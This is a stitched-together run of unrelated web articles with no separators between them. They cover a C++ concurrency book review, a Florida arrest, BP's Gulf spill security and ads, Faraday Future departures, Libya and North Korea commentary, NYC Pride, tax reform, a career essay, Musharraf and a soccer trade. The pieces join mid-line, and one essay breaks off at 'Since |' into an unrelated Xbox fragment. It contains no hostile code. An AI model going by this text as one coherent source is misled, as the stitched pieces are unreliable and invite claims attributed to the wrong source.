Anthony Williams is a member of the C++ standards committee, and the author of Just Threads, one of the earliest implementations of a standards-conforming C++11 threading library. This book is an overview of concurrent and parallel programming with the new C++11 threading features. It's both a tutorial and a reference, with a large chunk dedicated to a detailed encyclopedic listing of all the C++11 threading-related objects and their methods (I'm not sure how useful this is in 2016 when all these references are already online, but could certainly be more relevant in early 2012 when the book was initially published).
The book is very comprehensive. It not only goes over the C++11 threading and concurrency features (of which there's a very good and thorough coverage), but also discusses general parallelism topics like concurrent data structures, including lock-free variants, thread pools and work-stealing. As such, it's not light reading and is definitely a book you go back to after finishing it to re-read some of the more complex topics.
On the critical side, the book's age already shows. I imagine the author didn't have access to fully conformant compilers when he was initially writing it, so many C++11 features are not used when they should be: things like range loops, reasonable uses of auto, even placing the ending >> of nested templates together without whitespace in between. Instead, there are occasional uses of Boost. All of this is forgivable given the book's publish date, but a bit unfortunate in a book specifically dealing with the C++11 standard.
Other random bits of criticism:
The analogies the author uses are weird, and often unhelpful. The book is clearly aimed at seasoned programmers, so we should drop the dumbing down.
Diagrams are sometimes ugly and sometimes nice.
The explanation of memory ordering semantics wasn't amazing, IMHO. I realize it's a devilishly complex topic to explain, but feel it's important to mention in case someone wants to get this book solely to understand memory ordering.
The code samples living in a.zip file that you can download are sometimes slighly different from the listings in the book, and I found several occasions where they don't compile. Unfortunately, emails sent to the author about these were not answered.
Overall, I liked the book. It's not perfect, but it's the best we've currently got to cover advanced concurrency and parallelism with modern C++. This book is hard to fully digest in a single reading because you're not likely to really need everything it covers. I expect it to be useful in the future as I need to refresh some specific topics.Michael Craig O'Brien (Photo: Lee County Sheriff's Office)
A Fort Myers man was arrested on Wednesday accused of punching his pregnant girlfriend in the face at a Dollar General.
Michael Craig O'Brien was arrested after employees at the store on Palm Beach Boulevard in Fort Myers called the police because of an altercation they overheard.
Employees told a deputy from the Lee County Sheriff's Office that O'Brien, 41, and his girlfriend Samantha Carter, were fighting in the store.
Deputies found Carter at a neighbor's home on Garcia Avenue where she told them O'Brien struck her in the right side of the face. She also told deputies she was eight weeks pregnant with twins.
O'Brien was charged with aggravate assault on a pregnant woman. O'Brien has a lengthy record dating back to 1997, including petit theft charges, drug paraphernalia charges, grand theft auto among others. Wednesday's arrest was his 32nd.
He is being held on no bond at the Lee County Jail.
Read or Share this story: http://newspr.es/1AmSXSgIf they had hired Blackwater, the firm would have had a particularly appropriate sounding name for the job: guarding tar-stained beaches.
In their latest eyebrow-raising PR move, multinational oil giant BP has enlisted private security contractors to keep onlookers away from oil cleanup sites. While the firm they hired apparently isn’t Blackwater (the private security firm Blackwater changed their name to Xe Services after a spate of killings in Baghdad, and has now put itself up for sale), they certainly seem to have ‘black water’ in their sights.
Wired‘s “Danger Room” blog dubbed BP’s decision to hire private mercenaries in the Gulf “one of the bestest public relations moves ever.”
The blog notes that BP’s move recalls bungled decisionmaking in the wake of Hurricane Katrina, when the US Department of Homeland Security — and some very wealthy homeowners — turned to private security contractors to protect their property in the wake of the disaster.
“This wouldn’t be the first time a private security firm made an appearance in a Gulf disaster,” Wired’s Adam Rawnsley writes. “When Hurricane Katrina hit New Orleans, the Department of Homeland Security and a number of private firms, fearful of reported widespread violence and chaos, turned to private security contractors like Blackwater and ArmorGroup International to protect their property.”
According to reports, the firm hired is named Talon Security.
In a video clip obtained by ThinkProgress over the weekend, a local news team from WDSU in New Orleans was told by a private security guard that they were not allowed to talk to cleanup workers on a public beach or come within 100 yards of cleanup operations.
“Who’s saying that?” reporter Scott Walker asked the guard. “Because no one can tell me that, unless you’re the Jefferson Parish Sheriff’s Office, you’re the Coast Guard, or you’re the military, can you tell me where to go on this public beach.”
“I can tell you where to go because I’m employed to keep this beach safe,” the guard replied, adding, “You are not allowed to interview any workers.”Two of Faraday Future’s most senior executives have left the company this week following reports of financial troubles at the electric car startup and just ahead of its upcoming unveiling event in CES next month. While the company doesn’t have an official CEO, it was listing eight top executives on its website. Two of them, Marco Mattiacci and Joerg Sommer, quit this week, according to sources inside the company, and we are told that Chinese billionaire and the main investor of Faraday Future, Jia Yueting, has virtually taken over the company.
In June, Faraday Future hired Marco Mattiacci, former President & CEO of Ferrari North America (2010 to 2014), as Global Chief Brand & Commercial Officer for the company.
In September, the company hired Joerg Sommer, former Senior Vice President Product Marketing & Strategy at VW, to lead the “product marketing and go-to-market planning”.
The two execs were amongst the most high-profile hires of the company and they sent out press releases when they hired each of them.
We are told that they left quietly this week. We asked the company to comment on their departures, but we didn’t get an answer–though they removed both Mattiacci and Sommer from their executive page on their website.The United Nations no-fly zone over Libya is risky but it can have a good outcome under certain conditions. Above all, it should look more like Kosovo than like Iraq.
[I should clarify that I think US participation in this effort should have been conditional on a vote of the US Congress. However, likely the Europeans and Arab League would have pursued the policy even in the absence of US involvement. In any case, my question as an analyst is where things might go from here.]
1. It should not be open-ended, but rather should have an expiration date. The no-fly zone is a response to a specific humanitarian crisis (the Qaddafi regime was firing tank and artillery shells at urban crowds protesting it). That crisis must not draw the UN allies into a years-long quagmire. (Such a situation developed in Iraq in the 1990s and contributed to the ultimate destruction of that country).
2. It should be a no-fly zone, not a war on the Qaddafi regime. Qaddafi tank columns should be interdicted from moving on Benghazi or Tobruk. But tanks just sitting around in Tripoli should not be targeted.
3. Once the no-fly zone is in place and Benghazi and points east are protected from reprisals, brokers should intervene to negotiate a diplomatic solution.
4. Officers who committed war crimes, as with ordering live fire on civilian crowds, must be prosecuted, but not everyone in the Libyan military should be tarred with that brush.
5. Amnesty might be offered to pro-Qaddafi officers and politicians provided they break with the dictator and send him into exile, as happened in Egypt and Tunisia. It is desirable that there be some continuity between the old regime and the new one, and that tribal factionalism and feuds and reprisals be avoided.
6. Countries opposed to or lukewarm toward the no-fly zone, but which are themselves democracies, such as India, Algeria and Russia, could be enlisted to meet with the officer corps in Tripoli and impress on them the need for a transition to parliamentary elections.
It is not impossible that there will be an outcome the world can live with, as happened in Bosnia and in Kosovo. In both places, local forces took the lead on the ground. Kosovo as a state originated in an externally enforced no fly zone.
That the world community has intervened in Libya but not in say, Yemen and Bahrain, has raised cries of hypocrisy. These charges are largely deserved. It is worth noting, however, that nowhere else in the Arab world where there have been widespread protests has the regime consistently responded with such massive brutality as in Libya. Yemen, with the sniper massacre of crowds on Friday, is moving in that direction, but Qaddafi has likely killed thousands since February 17, not just dozens.
From February 17, a peaceful protest movement broke out throughout Libya. Civilian crowds gathered without violence downtown, in Benghazi, Tobruk, Dirna, Zawiya, Zuara and even in the outskirts of Tripoli as in the working class town of Tajoura. City notables and military men in the east of the country formed a provisional government. Many diplomats declared for the provisional government, as did many officers and even cabinet members.
The Qaddafi regime responded with brutal violence to these non-violent protests. Early on, live fire was used against protesters in Tripoli itself. Last week, convoys of tanks rolled into Zawiya, supported by heavy artillery, firing on civilian crowds and on civilian apartment buildings. The tanks occupied the city center, and there are reports of a mass grave of the protesters. They were just protesters. They were easily defeated because they did not know, and most of them still do not know, how to handle a weapon. There were large numbers of self-inflicted gunshot wounds in the rebel ranks.
A reporter on the scene in Zawiya spoke of ‘large numbers of deaths’ and a ‘massacre.’
The Zawiya scenario was repeated, in Zuara to its west, and in Misrata to its east (Misrata, a city of 600,000 and Libya’s third largest, appears to have fallen to Qaddafi this weekend, with his tanks occupying the city center in a dreary repetition of the death and destruction at Zawiya earlier).
Libya began as a protest. Some of the protesters (apparently only a few thousand) were turned into armed rebels as they sought to defend themselves. Qaddafi responded to the protest movement by firing tank and artillery shells at the protesters and at infrastructure in the rebel cities. Many are without water and electricity, creating a humanitarian crisis.
NATO military forces flying in response to the UNSC resolution must seek to replicate the successes in Kosovo and not the failures in Iraq.Forum Jump
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If last year’s pride parade was marked by a raucous celebration of the legalization of gay marriage, then this year’s was tinged with tragedy. I was aboard the float for RuPaul’s All Stars Drag Race, the 36th group to take off on Sunday, behind the first entrants, Barbara Poma, the owner of Pulse, and Neema Bahrami, a manager at the Orlando club where 49 people died and 53 were injured in the worst mass shooting in American history, that targeted the queer Latino community. Just behind them was another reminder of the stakes: a procession of marchers, led by a drag queen holding a disco ball up high, each of them clad in white with organza veiling their faces and placards with the photos and names of the deceased around their necks. If the connective thread that runs through the queer community can feel ever-tenuous, it tugged and gathered people together on Sunday at New York City Pride, which at an estimated 32,000 marchers was the largest Pride parade in history.
Drag queens have been iconoclasts in contemporary culture since the days when it was illegal for men to dress in women’s clothing. They’re an actualization of the theory that gender is a performance, and moreover, that it can be hilarious. As fixtures in the modern gay club, after Orlando, New York City Pride was a moment to reassert that importance. Detox, the season-five contestant with the jaw-wiggling lip-syncs told me, “If anything it should make us all stronger and be even more gay.” Nowhere was the resilience of drag more evident than on Sunday when Logo’s float carrying upcoming contestants of RuPaul’s All Stars Drag Race season two, Roxxxy Andrews, Detox, Tatianna, and Coco Montrese, drove down Fifth Avenue.
They’re a well-known foursome, with each of them ready to take another shot at the crown as America’s next drag superstar when the new All Stars season airs on August 25. There was Detox, who wanted to do his “quintessential, over-the-top campy pride moment” by wearing a neon green dress, visor, and wig. There was Roxxxy Andrews, the master of the fierce casual pose in a lace dress she had whipped up in ten minutes; Tatianna, who gave great side-eye every time the procession stalled, in a floral print; and Coco Montrese, who never stopped dancing in a canary yellow dress. They signed pride flags, posed for photos, and danced on the wooden dais made to look like a pink compact mirror, in front of a giant, inflatable RuPaul. Pride is the gay club brought out onto the street, into the sun. Pride is a way of saying, We must be beautiful in our mourning.
“I worked at Pulse for ten years,” Roxxxy Andrews, the season-five pageant queen from Florida, told me. “It was like a home. We really made a family. I lost five really good friends. The rest were people you see every night — they tip us, they take pictures with us, and you remember those memories. It’s hard, but we’ve got to live on and dance for them. That’s what they were doing, dancing.”
It wasn’t just Roxxxy who had a personal connection to the Orlando shooting. Pulse was also instrumental in launching Detox and Coco Montrese’s careers. “Pulse was one of my first bars that I worked at when I started doing drag, so it hits very close to home,” said Detox. “I don’t want to get into it because I don’t want to start crying. It’s been a tough couple of weeks, and I’m trying to keep positive today.” The club helped Coco Montrese get to Miss Gay America in 2010 (which she won). “I’m a former Miss Gay Orlando,” the Miami-born Coco Montrese said. “When I went to compete at Miss Gay America, Pulse was the club that actually did a benefit show for me to go. I always go back there when I perform.”
Around 23rd street, when the procession stalled again, Tatianna gave me a little smirk as though to say, welp. Roxxxy Andrews and Tatianna took off their heels and Detox used the down time to bum a cigarette. Coco Montrese was still going, and when RuPaul’s “Cover Girl” came on, she was dancing, twirling, and lip-syncing as though for her life. On the back of the float was its unofficial go-go dancer, Nico Tortorella (who plays Sutton Foster’s younger boyfriend on Younger), wearing nothing but rolled-up leather shorts, heart-shaped rainbow sunglasses, and a tan hat. The actor recently made news for making it publicly known that he thinks of his sexuality as “fluid.” “When somebody is like really comfortable with who they are and vocal about it, people get excited about it and talk about it,” Tortorella said of the headlines. “Honestly I’m not putting too much weight to it. It’s really no different for me and how I’ve been living my life forever.”
Nico Tortorella is all about that #pride. #rupaulsdragrace #nycpride A photo posted by Vulture (@vulture) on Jun 26, 2016 at 12:10pm PDT
I joked coming into this that it would be clear I didn’t belong: There would be a float with four drag queens, loads of shirtless men, and me. (Instead, there was just a shirtless Nico Tortorella.) But of course, that’s not what Pride is, nor is it the manicured white men who have often come to stand in for the queer community. As much as I lament the mainstreaming of pride, I’m also in awe of the fact that it is now de rigueur for every politician, local business, and major brand to drape themselves in rainbow paraphernalia. And when a man wearing just a bunny-skull mask, tighty-whities, and body glitter runs up to dance next to you, you remember too that there isn’t any other day in New York City that feels quite as big and broad and generous. This isn’t just difference, but a joyous exaltation of the love for difference. As the float moved on, I was reminded that there were so many of us in so many guises, each one distinct, and I felt myself getting swept away by the exuberance, by the sheer improbability of life. And so I put away my recorder and danced.Here’s what tax reform advocates don’t have this week: actual legislation; lots of time this year; consensus.
Here’s what they do have: a seriously impatient president.
To add some octane to what he sees as a slow-moving Congress, President Trump is preparing this month to unveil some specifics in any tax bill he would sign, ideally with buy-in from members of his party, White House Legislative Affairs Director Marc Short said Tuesday.
Whether a more prescriptive Trump can produce results by December remains uncertain (the president has not ruled out down-shifting to tax cuts rather than more ambitious “reform,” if it means getting something signed in 2017).
“We're focused on making sure we get a complete tax reform package. That's the goal,” White House Press Secretary Sarah Huckabee Sanders said this week. “And if that doesn't happen, we'll look at other options at that point.”
On Friday, Trump registered his impatience with a GOP game plan hatched with the White House months ago that cedes bill drafting and momentum to the House Ways and Means and Senate Finance committees, along with GOP leaders.
“Republicans must start the Tax Reform/Tax Cut legislation ASAP. Don't wait until the end of September. Needed now more than ever. Hurry!” the president tweeted.
On Saturday during a Cabinet meeting at Camp David, Trump linked the federal urgency attached to hurricane response to his sense of urgency to lower taxes.
“I think now with what’s happened with the hurricane, I’m going to ask for a speed-up,” he said about tax legislation. “I wanted a speed-up anyway, but now we need it even more so.”
House Freedom Caucus conservatives have advised the White House that without first seeing tax-bill specifics, they are reluctant to vote on a budget for fiscal 2018, Short said. The White House, in turn, understands that without budget instructions, it cannot enact tax reform in the Senate with a simple majority, as planned.
Trump intends to offer some additional specifics this month before the tax-writing committees on Capitol Hill produce draft tax legislation for lawmakers’ consideration, a document Short called “a unified outline with Congress.”
“I think you will be seeing in a matter of days, not weeks, this administration pushing out more details on what we believe should be needed in tax reform,” Short said, arguing that “differences” among Republican factions are now closer to resolution.
“I think there are some preferences on just the mechanics of just getting through the month of September,” he continued. “The White House is anxious to do that now. So I think you’ll see the White House go ahead and push to get that laid out sooner.”
Rep. Kevin Brady, the chairman of the Ways and Means Committee, gave no indication of speeding up the process on Capitol Hill, telling reporters Tuesday that "we always want to do it sooner rather than later" but that lawmakers' focus is on "getting the policy right." Brady will brief the full House GOP conference Wednesday morning during their weekly meeting to update members on current tax reform status.
Trump has twice this year unveiled spare outlines of tax principles coordinated with House and Senate Republicans, but disagreements continue to simmer within the GOP as the congressional calendar shrinks. The House expects to be in session 42 more days through December, while the Senate plans 50 more work days.
Trump continues to insist he wants to lower the corporate tax rate to 15 percent, assessed by some Republicans in the Senate as overly ambitious to attract sufficient votes for passage.
“We should aim for what we think is best, “ Short explained during a question-and-answer event on Tuesday, sponsored by the Christian Science Monitor. Trump also believes that getting corporate rates down is “more important” than full, immediate expensing of capital investments for businesses, he added. And the president is “committed” to extending lower corporate rates to small-business filers, Short said.
At the same time, middle-income tax “relief” is also a Trump priority, the president’s top legislative affairs adviser told reporters.
Trump, restless to mark a significant legislative victory after Republicans failed to repeal and replace the Affordable Care Act, more than ever wants to sign legislation in 2017, not early in 2018 – a calendar extension some Republicans, including Senate Majority Leader Mitch McConnell, signaled could become a fallback.
Asked if Trump would settle for a slimmer measure that could lower taxes for individuals and corporations this year, rather than holding out for a more complex rewriting of the tax code, Short said the president ideally wants a “territorial” system that would tax income earned in the United States, and exclude income earned abroad by companies with U.S. headquarters. In the president’s view, that change, which Republicans acknowledge as controversial, would be “reform” that could spur increased domestic U.S. investment, Short said.
Trump will host a White House dinner with GOP senators Tuesday to discuss tax reform. Six red-state Democrats are expected to attend. The president says he has reached out to the minority party on taxes, but to date he’s limited his focus to Democratic senators who represent states he won in 2016 and who face re-election next year.
The squeeze play is intended to be political as well as a form of insurance, in case any tax bill that emerges struggles to attract support from every Senate Republican. Budget reconciliation – which permits passage of some measures by a simple majority in the Senate rather than a 60-vote threshold -- remains the “path forward,” from Trump’s perspective. Getting 60 votes for a measure Trump wants to sign is not possible, the administration and GOP lawmakers have concluded.
Many Democrats are “looking to try to deny victories to the administration,” Short added, “rather than looking out for the interests of the American people.”
James Arkin contributed to this report.BP is reportedly spending more than a million bucks a week on their friendly, sensitive Bubba next door ads in an attempt to repair their brand and convince the public that they are aware of the fact that they might have committed a bit of a faux pas in the Gulf of Mexico but they are doing everything humanly possible to make it right.
Here’s a statement for the tourist and travel brochures in hotel lobbies and airplane seat backs: Mississippi River Brimming with Dead Fish Near Gulf of Mexico. Follow the headline with pictures from Plaquemines Parish, Louisiana and you’ve got yourself a certified tourist magnet.
These pictures will look great on the cover of the menus at seafood restaurants or in the frozen fish section at the local supermarket.
My guess is that few people in the affected areas of the Gulf states get all warm and fuzzy when BP’s ads are displayed every half hour or so as they are here in Ohio. Between the oil and the floating fish anyone can walk on the water around here.
Fisherman will find the pickings easy, leave the pole at home, all you need is a net or just a sack to take home your limit.
Whether you can or should eat everything you catch is really up to you.
Bob Higgins
Related stories:
Mississippi River Brimming with Dead Fish Near Gulf of Mexico
Surprise! The BP Gulf Spill is as Big as these Nations and States
AdvertisementsThe Most Lucrative Investment, Yourself
Nick Talwar Blocked Unblock Follow Following Feb 21, 2013
SUMMARY: In this essay, I’ll walk you through the steps I took to assuage my fears and gain the confidence to quit my job and move to San Francisco. Assessing the current tech landscape and my place within was an important first step on my journey. Then, I’ll explain how I compared defined opportunities to the esoteric idea of quitting my job and moving to San Francisco. I’ll lead you through the process of developing financial confidence and easing into living creatively. Lastly, embracing self-doubt and seeking constructive support is a pivotal, ongoing exercise that I practice and will describe in detail. Reading time - 13 mins, 43 sec.
—
In June 2012, I quit my job, moved to San Francisco and “took the plunge”, so to speak, and finally did it…I fully invested in myself.
One of the most lucrative investments we make is in ourselves. Forget stocks, real-estate, commodities, and other assets. The most lucrative investment of all is the one that gives you an opportunity to create freely, full-time, with no distractions or unwanted external pressure.
Like a newborn that gazes at something full of wonder, without judgment or expectation, you will see great things happen if you commit to returning to this child-like state. You’ll find not only what you love to do, but also what you’re meant to do.
As an engineer who loves creating new things to help people, I have always wished to have the the time and opportunity to live this way.
Entrepreneurship and artistic lore is full of stories on why many chose to take the proverbial plunge and double-down on their dreams. However, little has been written on “how”. What were the steps they took to be in the right frame-of-mind to do it? How did they make their decision? Perhaps it’s fitting…it might be a bit contradictory to read a blueprint or look to another for instructions on self-actualization.
Contradictions aside, for my inaugural essay here, I’d like to share with you how I mentally prepared and rationalized investing in myself so I could live a fully creative life for awhile. Like any risky, attractive investment, there’s boundless upside, but the journey may be tumultuous. Understanding how risky and unnerving it could be, I spent a good six months preparing. Here’s what I did.
Surveying the Landscape
At the outset, one of the toughest obstacles to overcome was dealing with nebulous fears about the job market on the whole. Fears about things that were beyond my control—namely macro-economic forces, especially in tech, and how I could be in jeopardy of joining the ranks of the unemployed or under-employed in the current economy. Some questions that raced through my mind were: is the current environment supporting creative tech entrepreneurship? Could we be in a bubble?
After gathering data and speaking to respected people, I realized that macro-economic fears and questions such as these weren’t so important. The forces at play between the overall investment and market climate in tech as well as consumer demand for products were so far removed from my own individual sphere of influence. In essence, my own skills and impact would be the leading indicator of success, not overall aggregate factors. Fortunately, I am in the tech industry, which isn’t as vulnerable to global economic factors as say, finance, or parts of the federal government.
It quickly became apparent that what really mattered was my own personal landscape of opportunities and if my experience and skills gave me the tools to seize these opportunities. How would I be perceived in my space? Would I have credibility to find opportunities to succeed? Was I experienced enough?
The only way to test this was to immerse myself in the market. I traveled to the Bay Area often and met startup founders who were looking to grow their teams. Fortunately, there were interesting opportunities and ideas people needed help to build. It gave me objective, real-life assurances and feedback that there were many exciting roles that might be right for me. Accordingly, the anxiety about the environment I’d be diving into subsided.
The bears morphed into bulls in my mind. My fears subsided and I came away not fearful of whether I could find an opportunity, but it became more about what was the right opportunity. Learning about my own deficiencies and where I could improve was an added benefit of the process.
Finding When You Were Happiest
Surveying the landscape led to a number of options. All seemed to have their merits. So, I was faced with a conundrum…how do I objectively weigh them against one another? To add a nasty twist, how could I weigh those all against the most risky, amorphous option: taking the plunge and going at it alone?
My initial process for evaluating these options was fundamentally flawed.
Unfortunately, I let the lizard, reptilian brain take over. Instead of looking inward to see what would make me happiest, my evaluation of each option depended on how others would perceive my move. It’s the default way many look at climbing the proverbial career ladder: How will this look on my resume? Will I be perceived as successful?
I don’t mean to suggest that what others or society at large thinks about you is completely irrelevant. We are a social species, constantly looking for little reassurances and positive feedback that we are going in the right direction. It’s a deep need that reaches even the smallest things we do (we all can relate to the excitement and contentment that arises from many “likes” and positive comments on one of our random Facebook postings).
However, just looking externally is a dangerous proposition. You may end-up becoming what others want you to be rather than what you want yourself to be. If external factors are your only barometer, you expose yourself to ever more competition with many people competing for the same scarce resources and rewards. I felt like the rat race just required me to work harder and harder to claw my way to the top, which has pretty weak marginal returns holistically. It’s better to set and meet your own metrics of success.
Dissociating your internal wants and desires from the equation often leads to disaster. I know perhaps a few too many that live a life of perceived achievement from another’s vantage point only to be personally unhappy with what they do or wishing they were doing something else. I needed to reconcile the two. If not, my individuality and freedom of expression would be hindered by external perceptions.
Analyzing all my experiences and memories became my single priority. I looked at every project I had ever done and everything I had ever shipped. Which experience had the best combination of positive impact, creative spirit, and camaraderie with others?
Searching for when I was happiest led me to a familiar place. My backyard, in the early 90s, was the Microsoft campus. Basketball became my first love and I often played on the courts amongst the sprawling buildings merely two miles away from my childhood home. Exposure to technology and innovative people became inevitable. Growing up in this tech boom, what should have been an ordinary suburban upbringing became unexpectedly vibrant.
Inspired, my friend, Emmett, and I started building websites for local businesses when we were 13. Some modest success followed (Flash intros and HTML before CSS, anyone?). Without realizing it then, it was my first taste seeing the pace of Internet growth creating demand faster than technologists could support. So, we acquired the skills that could scale these demands.
Since |
Xbox One or Windows 10, each powered by Xbox Live, is another important step towards this vision. We are committed to delivering amazing gaming experiences for gamers who play on consoles, PCs or both,” says Spencer.
Just weeks back, Quantum Break was announced for PC, which saw mixed response from Xbox One owners.In 1969, Richard Nixon, about eight months into his Presidency, grew frustrated with the North Vietnamese leadership. The President wanted to negotiate an exit from the Vietnam War, but his adversary’s terms were unyielding. Nixon thought that he needed the Soviet Union to pressure North Vietnam; he also believed that Leonid Brezhnev would act only if he was convinced that the U.S. was about to do something crazy. In late October, Nixon ordered an operation code-named Giant Lance. B-52 bombers loaded with atomic weapons took off from bases in California and Washington State and headed toward the Soviet Union, then flew in loops above the polar ice cap. Nixon’s hope was that Soviet intelligence would interpret the action as an immediate, and utterly insane, threat of nuclear attack. The “madman nuclear alert,” as the political scientist Scott D. Sagan and the historian Jeremi Suri called it in a 2003 article, remained secret for years. H. R. Haldeman, Nixon’s chief of staff, recounted in his memoir how his boss described the tactic. “I call it the Madman Theory,” Nixon once told him. “We’ll just slip the word to them that ‘for God’s sake, you know Nixon is obsessed about Communism. We can’t restrain him when he is angry—and he has his hand on the nuclear button.’ ”
Last week, about eight months into his Presidency, Donald Trump, while addressing the United Nations General Assembly, denounced Kim Jong Un, the Supreme Leader of North Korea: “Rocket Man is on a suicide mission.” The President said that, while the United States has “great strength and patience,” if it were “forced to defend itself or its allies” it would “have no choice but to totally destroy North Korea.” Kim replied in kind. “I will surely and definitely tame the mentally deranged U.S. dotard with fire,” he said.
Never before have two leaders in command of nuclear arsenals more closely evoked a professional wrestling match. It is unsettling that with both men it is hard to know where performance ends and personality begins. Trump rages publicly at Kim, but, then, he rages at everyone, from his staff to Meryl Streep. Kim may not be suicidal, but he has executed his uncle and is reported to have ordered the murder of his half brother.
In the history of nuclear diplomacy, no nation-state has ever given up atomic weapons in response to shrill threats. In a number of instances, however, countries have been coaxed to mothball their nuclear programs in exchange for political and economic returns. After the fall of the Berlin Wall, South Africa, Brazil, Argentina, Ukraine, Kazakhstan, and Belarus voluntarily gave up their nuclear weapons or abandoned advanced programs. In 2003, Muammar Qaddafi, the Libyan dictator, agreed, in exchange for economic opportunities, to surrender his uranium-enrichment equipment. Nearly twelve years later came the landmark accord in which Iran agreed to freeze its nuclear-weapons program and dismantle parts of it, in exchange for relief from sanctions.
Sometimes leaders hold on to nukes because they fear that without them as a deterrent their countries might be invaded or destroyed. (That largely explains why Israel and Pakistan have kept theirs.) Kim Jong Un may well worry that if he gives up his nuclear weapons his regime will be overthrown. In 2011, NATO members and other nations intervened to protect a popular uprising against Qaddafi, which led to his being removed from power and killed. As Evan Osnos heard repeatedly in Pyongyang in his recent reporting for The New Yorker, the lesson for North Korea was clear: if you surrender a nuclear deterrent, you embolden your enemies.
It is not Trump’s fault that North Korea has crossed ominous nuclear thresholds this year. Three previous Administrations have tried and failed to alter Pyongyang’s calculus. Since North Korea may have the capacity to reach American cities with nuclear-tipped missiles, it is crucial that we deter Kim by warning him that if he strikes first his country will face devastating retaliation. Such understandings have composed the framework for nuclear deterrence for decades. The U.S. may have to live with a nuclear North Korea indefinitely, but history shows that, with sufficient patience, economic pressure, and negotiation, nuclear states will sometimes disarm.
To apply some version of the Madman Theory to the North Korean problem, however, as Trump seems inclined to do, is foolish. The nuclear alert that Nixon attempted in 1969 was “ineffective and dangerous,” Sagan and Suri concluded in their article. It is not clear if Brezhnev even understood what Nixon was trying to communicate. Also, the nuclear-armed American planes involved in Giant Lance risked crashing into one another. Trump and his advisers talk loosely about preparing for a “military option” against North Korea. By this they seem to mean a preëmptive war, even though military analysts believe that such a conflict would claim more than a million lives in South Korea in its opening phase, while also exposing American cities to the possibility of a nuclear attack. If Kim Jong Un believes that Trump is rash enough to initiate a first strike, he may accelerate his missile and nuclear-bomb tests and deployments. North Korea’s missile-testing binge this year has increased the odds of an accident. One of Kim’s rockets could veer off course and kill civilians in Japan or elsewhere. The result of such a calamity could conceivably be a war.
Trump’s other gut-instinct foray into global nuclear diplomacy—his apparent intention to tear up or to unilaterally renegotiate the Iran nuclear accord—is no wiser than his strategy in East Asia. Iran is abiding by the agreement’s terms. There is no new “crisis” to address. An American withdrawal from the Iran deal would not only encourage the worst elements in Iranian politics; it would also undermine U.S. relations with Russia, China, and European countries just when their coöperation is needed to pressure North Korea. “To overcome the perils of the present,” the President said at the U.N. last week, “we must begin with the wisdom of the past.” If only there were some evidence that Trump knew what that was, or how to use the power of his office to forge a less dangerous world. ♦Prosecutors allege Musharraf was part of a conspiracy to kill Bhutto, but Musharraf has denied the charge [EPA]
Former Pakistani President Pervez Musharraf will be arrested in connection with the assassination of former Prime Minister Benazir Bhutto if he returns to the country, a government prosecutor has said.
There is no need for any "fresh arrest warrants" for him as a court has already issued orders for his arrest, prosecutor Chaudhry Zulfiqar Ali told reporters on Saturday.
Hours earlier, Musharraf told a Pakistani news channel that he would come back later this month to contest the next parliamentary elections.
Musharraf has been living in London and Dubai since 2008 when the government, led by Bhutto's party, forced him to resign.
Bhutto was killed in 2007 in a gun and suicide bomb attack near the capital, Islamabad, after returning home to contest elections. Musharraf, at the time, had blamed the Pakistani Taliban for her murder, but the prosecution alleges he was part of the plot.
In November, a Pakistani court formally charged seven, including two senior police officers and five suspected Taliban fighters, for their alleged role in Bhutto's killing. Musharraf was not among those charged at the time.
Musharraf now heads his own faction of the All Pakistan Muslim League, a small political party that does not have any major base in the country. Some of his former supporters have quit his party.
His spokesman, Fawad Chaudhry, asserted that the arrest warrant for Musharraf had no legal value.
"We have challenged this arrest warrant in a court," he said, adding that Musharraf would announce a final date for returning home this week, but "he will come back soon to lead the nation".
Ongoing power struggle
Meanwhile, Pakistan's President Asif Ali Zardari has said leaving office is not an option and that no one has asked him to resign, responding to speculation that the powerful military wanted his departure.
"No one has asked for it yet. If someone does, I'll tell you," Zardari, who appeared in good spirits after medical treatment in Dubai last month, said in a pre-recorded interview with one of the country's most popular television anchors.
Zardari is facing his biggest political crisis since he took office in 2008 over an unsigned memo to the Pentagon that sought US help in reining in Pakistan's generals, who have ruled the nation for more than half of its history.
Zardari's deeply unpopular government is opposing an investigation ordered by the Supreme Court into the memo, contending that only a parliamentary committee on national security is entitled to investigate.
Although his position is largely ceremonial, Zardari wields considerable influence as leader of the ruling party and any forced departure would be a humiliation for the civilian leadership and could throw the country into turmoil.
When asked in the interview if "escape" was an option for him, Zardari replied: "Why should it be?"Minnesota United acquired center back Joe Greenspan from the Colorado Rapids this week in exchange for a third-round pick in the MLS SuperDraft. Greenspan is in his second year in Major League Soccer after playing college soccer for the Navy Midshipmen for four years.
Because Greenspan is a graduate of the Naval Academy, his status as a naval officer creates a unique situation that could affect his playing time with the team. A potential conflict related to an incoming President and Greenspan’s service exemption could have been one reason for the trade.
Greenspan delayed his soccer career while serving one year on active duty after earning his commission in 2014. Graduates are expected to serve at least five years on active duty in exchange for their education. Exceptions to this requirement are available but rare. Even two-time Super Bowl champion Dallas Cowboys quarterback Roger Staubach served two years on active duty after graduating from the Naval Academy in 1964.
Exemptions to the five-year requirement are approved by the Assistant Secretary of Defense for Manpower and Reserve Affairs (ASD (M&RA)). Greenspan was allowed an exemption before the 2015 season and is currently serving in a reserve unit. The current ASD (M&RA) is Todd A. Welier, who serves under Defense Secretary Ashton Carter in the Obama Administration.
However, the President’s cabinet is set for a shake-up with the impending inauguration of Donald Trump, who plans to nominate retired United States Marine Corps General James Mattis for Secretary of Defense. Greenspan, as an officer, serves at the will of Congress and the President. If either Mattis or Trump wish to rescind Greenspan’s exception, he can do so.
The Department of Defense made it easier for athletes from the military academies to go pro after graduation following a memo released in September 2015, but because this policy is from the executive branch, it is subject to change at the will of the Secretary of Defense or the President.
Exemptions are granted based on the service member’s ability to represent the military outside of active duty in either public relations or recruitment. Because Greenspan has the platform of a professional athlete, he is able to represent the Navy favorably in the public light. Although many kids want to be professional athletes when they grow up, he could inspire others to take up a career of service instead.
Reservists are required to attend 16 hours of training per month and one two-week advanced training course per year. Greenspan’s relocation to Minnesota could also mean a change in his duties. Although Greenspan’s demands as a soccer player could interfere with his training schedule, hours are easily made up before or after the fact. Typically, active duty Naval officers serve two to four years on “ship’s duty” and then take a desk job for an equal time period before heading back to the water.
Greenspan could have some say in his reserve duties and location following the trade from Colorado, but his exemption is left up to the Department of Defense and the President. Greenspan began 2016 on active duty with the Navy, serving aboard a destroyer in San Diego. When he was signed by Colorado in June 2015, he was assigned to a recruiting station in the Denver area.
It is not unusual for officers to travel for reserve training every month. Greenspan could serve in his previous unit or transfer to one in Minnesota. Fort Snelling is home to a Navy Recruiting Command district that covers seven states, which means that Greenspan could find a welcome home as an officer there.
